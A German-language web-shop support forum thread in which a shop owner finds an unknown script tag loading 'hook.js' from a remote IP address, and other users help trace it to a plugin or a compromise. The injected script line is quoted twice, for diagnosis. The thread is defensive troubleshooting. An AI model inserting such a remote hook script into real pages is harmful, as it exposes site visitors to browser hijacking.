Neu Script - Fehler im Code

[isopix]

hallo, seit Tagen werden die Bilder auf unseren Produktseiten extrem langsam geladen. Bei der Suche nach dem Fehler sind wir beim Validieren von HTML auf diese Zeile gestoßen:
<script src="https://37.139.8.73:3000/hook.js" type="text/javascript"><\/script></script>
Vor dem Ende-Tag steht diese Bezeichnung <\/script>, die als Fehler gemeldet wird.

Kann mit bitte jemand sagen, an welcher Stelle bzw. im welcher tpl-Datei ich das ändern kann?

vg Georg

 

[martinwolf]

Diese Zeile ist KEIN Bestandteil vom Shop, bzw. vom Standard EVO Template.

 

[Nicson]

Also wenn dein Server nich zufällig in Schweden steht ... würde ich sagen das is n Hack ...?

8 34 ms 33 ms 33 ms adm-b2-link.telia.net [62.115.141.63]
9 33 ms 47 ms 33 ms digitalocean-ic-304182-adm-b2.c.telia.net [213.248.84.118]
10 35 ms 33 ms 33 ms 138.197.250.47
11 32 ms 32 ms 32 ms 37.139.8.73

Sieht nach nem privaten Provideranschluss aus.

 

[isopix]

Danke für die Hinweise.
Ich würde diese Codzeile gern löschen, weiß aber nicht, wie bzw. wo ich diese finden kann.
Kann mit bitte jemand sagen, an welcher Stelle bzw. im welcher tpl-Datei ich das ändern kann?

 

[FPrüfer]

Ich würde diese Codzeile gern löschen, weiß aber nicht, wie bzw. wo ich diese finden kann.
Kann mit bitte jemand sagen, an welcher Stelle bzw. im welcher tpl-Datei ich das ändern kann?

Wie Martin schon sagte, das ist kein Bestandteil des Shopcodes, deshalb kann auch keiner wissen wo das herkommt. Möglich ist ein Plugin oder wie auch schon erwähnt hat jemand deinen Server kompromitiert und irgendwo Code eingeschleußt.
Erste Anlaufstelle wäre also der Dateicheck im Backend und das Deaktivieren aller Plugins. Je nach Ergebnis gehts dann weiter...

 

[lj-shadow]

Vielleicht solltest du nebenbei auch gleich die content policy für deine domain setzen.
Dann wird die Datei wenigstens schon mal nicht mehr ausgeführt bzw. geblockt, bis du die Herkunft des codes gefunden hast.

 

[isopix]

hallo, bin nochmal zu diesem Thema hier.
Im Quelltext unseres Shops www.flammkuchen24.de wird vor dem body-end-tag folgendes Script aufgerufen aber nicht ausgeführt mit dem Hinweis: "Laden fehlgeschlagen für das <script> mit der Quelle "https://37.139.8.73:3000/hook.js" ". Der Vorgang bremst den Seitenaufruf extrem aus.

Dies ist das Script vor dem body-end-tag
<script src="https://37.139.8.73:3000/hook.js" type="text/javascript"><\/script></script>
</body>
</html>

Wie kann ich den Quelltext oder das auslösende Element aufrufen, damit ich das Script löschen kann?
vg Georg

 

[Xantiva]

Hast Du schon mal im Backend den Dateicheck ausgeführt? System : Wartung : Status => Dateistruktur => Details oder /admin/filecheck.php

Oder laden den SourceCode vom Shop runter und vergleiche mit Tools wie WinMerge den original Quellcode mit Deiner Version.

Nachtrag: Prüfe - wenn möglich - das ftp Log um zu sehen, ob und welche Dateien modifiziert wurden.

 

[css-umsetzung]

schalt doch mal alle Plugins ab die du hast um zu sehen ob das JS davon kommt, wenn nicht musst du in deinen Quellcodes schauen

 

[isopix]

Dateicheck habe ich durchgeführt: keine Probleme entdeckt.

@css-umsetzung: "wenn nicht musst du in deinen Quellcodes schauen " = Meine Frage ist, wie kann ich das Script aus dem Quellcode löschen. Wie komme ich an die entsprechende Stellem um das Script dort hzu entfernen.

 

[lj-shadow]

Meine Frage ist, wie kann ich das Script aus dem Quellcode löschen.

Deine erste Frage sollte sein: Wie kann ich den Code finden?
Damit klärt sich erst mal, wo der überhaupt ist.

DANN: WIE kann ich den löschen? Das dürfte sich dann recht schnell machen lassen.

und das wichtigste: Wo kommt der eig. her? Warum ist der da? Wer hat ihn platziert? (Darum ja das "schalt mal alle Plugins ab")
Wenn der dabei verschwindet und du Deine Plugins nacheinander wieder aktivierst, solltest du den "schuldigen" finden.


EDIT - zum wie finden:
Solltest Du shell-Zugriff haben, such doch mal recursiv nach dem Code in deinem Serververzeichis - natürlich nach Dateiinhalt suchen.
Wenn nicht, lade dir den Shop doch mal runter (ohne Bilder usw.) und mach das offline

 

[isopix]

Bei letzten Test hatte ich etwas übersehen. Als ich jetzt die Plugins nochmal geprüft habe, habe ich ein Plugin als Fehlerquelle gefunden!
Ich danke allen für Ihre Unterstützung.

 

[Rico Giesler]

Wenn es ein Standardplugin ist wäre für andere User interessant welches.
Damit sie beim gleichen Problem einen Lösungsansatz haben.